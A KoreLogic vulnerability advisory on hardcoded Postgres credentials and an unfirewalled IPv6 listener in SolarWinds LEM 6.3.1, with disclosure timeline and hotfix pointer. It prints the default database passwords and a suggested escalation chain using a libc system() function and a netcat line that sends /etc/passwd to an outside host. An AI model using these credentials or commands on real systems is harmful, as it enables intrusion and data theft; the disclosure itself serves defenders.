Solarwinds LEM 6.3.1 Hardcoded Credentials

`KL-001-2017-009 : Solarwinds LEM Database Listener with Hardcoded Credentials  
  
Title: Solarwinds LEM Database Listener with Hardcoded Credentials  
Advisory ID: KL-001-2017-009  
Publication Date: 2017.04.24  
Publication URL: https://www.korelogic.com/Resources/Advisories/KL-001-2017-009.txt  
  
  
1. Vulnerability Details  
  
Affected Vendor: Solarwinds  
Affected Product: Log and Event Manager Virtual Appliance  
Affected Version: v6.3.1  
Platform: Embedded Linux  
CWE Classification: CWE-798: Use of Hard-coded Credentials,  
CWE-284: Improper Access Control  
Impact: Remote Database Compromise  
Attack vector: psql  
  
2. Vulnerability Description  
  
The Postgres database has default hardcoded credentials.  
While some security measures were taken to ensure that network  
connectivity to the Postgres database wouldn't be possible  
using IPv4, the same measures were not taken for IPv6.  
  
3. Technical Description  
  
Reviewing netstat for listening services shows that the postgres  
service is bound to both IPv6 and IPv6 interfaces.  
  
--(0)-[1.3.3.8]-[6.3.1]-[root@swi-lem]--  
/ # netstat -apn|grep postgres  
tcp 0 0 0.0.0.0:5432 0.0.0.0:* LISTEN 949/postgres  
tcp6 0 0 :::5432 :::* LISTEN 949/postgres  
udp 0 0 127.0.0.1:58654 127.0.0.1:58654 ESTABLISHED 949/postgres  
unix 2 [ ACC ] STREAM LISTENING 4622 949/postgres /var/run/postgresql/.s.PGSQL.5432  
  
An iptables REJECT entry exists for IPv4. This prevents remote  
network connectivity.  
  
--(0)-[1.3.3.8]-[6.3.1]-[root@swi-lem]--  
/ # iptables -L|grep postgres  
REJECT tcp -- anywhere !localhost tcp dpt:postgresql reject-with icmp-port-unreachable  
  
However, there are no entries in the ip6tables at all, and  
the default policy is ACCEPT.  
  
--(1)-[1.3.3.8]-[6.3.1]-[root@swi-lem]--  
/ # ip6tables -L  
Chain INPUT (policy ACCEPT)  
target prot opt source destination  
  
Chain FORWARD (policy ACCEPT)  
target prot opt source destination  
  
Chain OUTPUT (policy ACCEPT)  
target prot opt source destination  
  
Additionally, two accounts exist with default and simple  
credentials.  
  
--(0)-[1.3.3.8]-[6.3.1]-[root@swi-lem]--  
/ # head -n 5 /usr/local/contego/scripts/database/pgsql/flow.sql  
CREATE ROLE trigeo WITH CREATEDB LOGIN PASSWORD 'rootme';  
CREATE ROLE contego WITH CREATEDB LOGIN PASSWORD 'reports';  
  
CREATE DATABASE alertdb WITH OWNER trigeo;  
ALTER DATABASE alertdb OWNER TO trigeo;  
  
No further testing was conducted against the Postgres  
service. However, the following may be possible.  
  
1. Connect to Postgres using hardcoded credentials over IPv6.  
2. Run CREATE OR REPLACE FUNCTION which ties to system() in libc.so.6.  
  
Example: CREATE OR REPLACE FUNCTION system(cstring) RETURNS int AS /lib/libc.so.6, system LANGUAGE C STRICT;  
privSELECT system(cat /etc/passwd | nc 1.3.3.6 8080);  
Example credit: http://pentestmonkey.net/cheat-sheet/sql-injection/postgres-sql-injection-cheat-sheet  
  
3. Run system() calls to run commands on the underlying operating system as  
the postgres user.  
  
4. Mitigation and Remediation Recommendation  
  
The vendor has released a Hotfix to remediate this  
vulnerability. Hotfix and installation instructions are  
available at:  
  
https://thwack.solarwinds.com/thread/111223  
  
5. Credit  
  
This vulnerability was discovered by Matt Bergin (@thatguylevel)  
of KoreLogic, Inc.  
  
6. Disclosure Timeline  
  
2017.02.16 - KoreLogic sends vulnerability report and PoC to  
Solarwinds <[email protected]> using PGP key  
with fingerprint  
A86E 0CF6 9665 0C8C 8A7C C9BA B373 8E9F 951F 918F.  
2017.02.20 - Solarwinds replies that the key is no longer in  
use, requests alternate communication channel.  
2017.02.22 - KoreLogic submits vulnerability report and PoC to  
alternate Solarwinds contact.  
2017.02.23 - Solarwinds confirms receipt of vulnerability  
report.  
2017.04.06 - 30 business days have elapsed since Solarwinds  
acknowledged receipt of vulnerability details.  
2017.04.11 - Solarwinds releases hotfix and public disclosure.  
2017.04.24 - KoreLogic public disclosure.  
  
7. Proof of Concept  
  
swi-lem$ ifconfig  
eth0 Link encap:Ethernet HWaddr 52:54:00:12:34:56  
inet addr:192.168.53.76 Bcast:192.168.53.255 Mask:255.255.255.0  
inet6 addr: fe80::5054:ff:fe12:3456/64 Scope:Link  
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1  
RX packets:681 errors:320 dropped:0 overruns:0 frame:320  
TX packets:513 errors:0 dropped:0 overruns:0 carrier:0  
collisions:0 txqueuelen:1000  
RX bytes:82845 (80.9 KiB) TX bytes:59151 (57.7 KiB)  
  
sploit$ ncat -4 192.168.53.76 5432  
Ncat: Connection refused.  
  
sploit$ ncat -6 -v fe80::5054:ff:fe12:3456%br0 5432  
Ncat: Version 7.40 ( https://nmap.org/ncat )  
Ncat: Connected to fe80::5054:ff:fe12:3456:5432.  
  
  
The contents of this advisory are copyright(c) 2017  
KoreLogic, Inc. and are licensed under a Creative Commons  
Attribution Share-Alike 4.0 (United States) License:  
http://creativecommons.org/licenses/by-sa/4.0/  
  
KoreLogic, Inc. is a founder-owned and operated company with a  
proven track record of providing security services to entities  
ranging from Fortune 500 to small and mid-sized companies. We  
are a highly skilled team of senior security consultants doing  
by-hand security assessments for the most important networks in  
the U.S. and around the world. We are also developers of various  
tools and resources aimed at helping the security community.  
https://www.korelogic.com/about-korelogic.html  
  
Our public vulnerability disclosure policy is available at:  
https://www.korelogic.com/KoreLogic-Public-Vulnerability-Disclosure-Policy.v2.2.txt  
  
`